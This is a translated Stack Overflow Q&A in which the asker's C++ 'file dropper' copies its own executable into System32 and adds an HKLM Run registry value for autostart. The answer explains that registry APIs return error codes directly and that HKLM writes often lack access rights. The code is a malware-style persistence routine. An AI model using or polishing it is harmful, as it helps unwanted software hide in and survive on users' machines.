c++ - 我没有看到注册表项,即使 GetLastError 返回全 0

标签 c++ windows api registry regedit

我尝试制作文件滴管并在启动时启动,但它确实启动正确,但是当我使用 regedit 导航到所述键时我看不到它?这是怎么回事?所有错误代码返回 0.....

#include <iostream>
#include <windows.h>
#include <Shlwapi.h>
using namespace std;
string RegistryKeyName = "testdropper.exe";

int main()
{
    std::string filename ="\\";
    char system[MAX_PATH];
    char pathtofile[MAX_PATH];
    memset(system, 0, MAX_PATH);
    memset(pathtofile, 0, MAX_PATH);


    //GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
    HMODULE GetModH = GetModuleHandle(NULL);

cout << GetLastError();
    //GET PATH OF exe
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

    filename.append(PathFindFileNameA(pathtofile));

    //GET SYSTEM DIRECTORY LIKE SYSTEM32
    GetSystemDirectory(system,sizeof(system));

    //APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY 
    strcat(system, filename.c_str());

    //COPY SERVER TO THE SYSTEM32 FOLDER
    CopyFile(pathtofile,system,false);

    //MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
    HKEY hKey;

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    RegSetValueEx(hKey, RegistryKeyName.c_str(),0,REG_SZ,(const BYTE*)system,sizeof(system));

    RegCloseKey(hKey);


     return 0;
}

最佳答案

... even though GetLastError returns all 0

RegXxx API 函数通常直接在返回值中返回错误代码,而不是通过 GetLastError

您在使用 HKLM 时可能遇到的一个常见错误是访问权限不足。

关于c++ - 我没有看到注册表项,即使 GetLastError 返回全 0,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16828985/

相关文章:

windows - 将 hwnd GDI 调用重定向到系统内存位图?

javascript - 隐藏客户端 API 调用

c++ - 带有 clang 的模板阴影错误

c++ - boost multi_index 容器的显式实例化

c++ - 在一定范围内随机,新 rand() 版本是否存在数字偏差?

c++ - cpp中的映射字符串

c++ - gcc MinGW 上的 InterlockedOr8

Windows 服务看不到 Shell_TrayWnd

javascript - 将文件从 js 发送到 c# web api 作为 base 64。输入不是有效的 Base-64 字符串

json - 当我运行 POST 请求时,为什么它不返回 Mongoose 架构定义中定义的 JSON?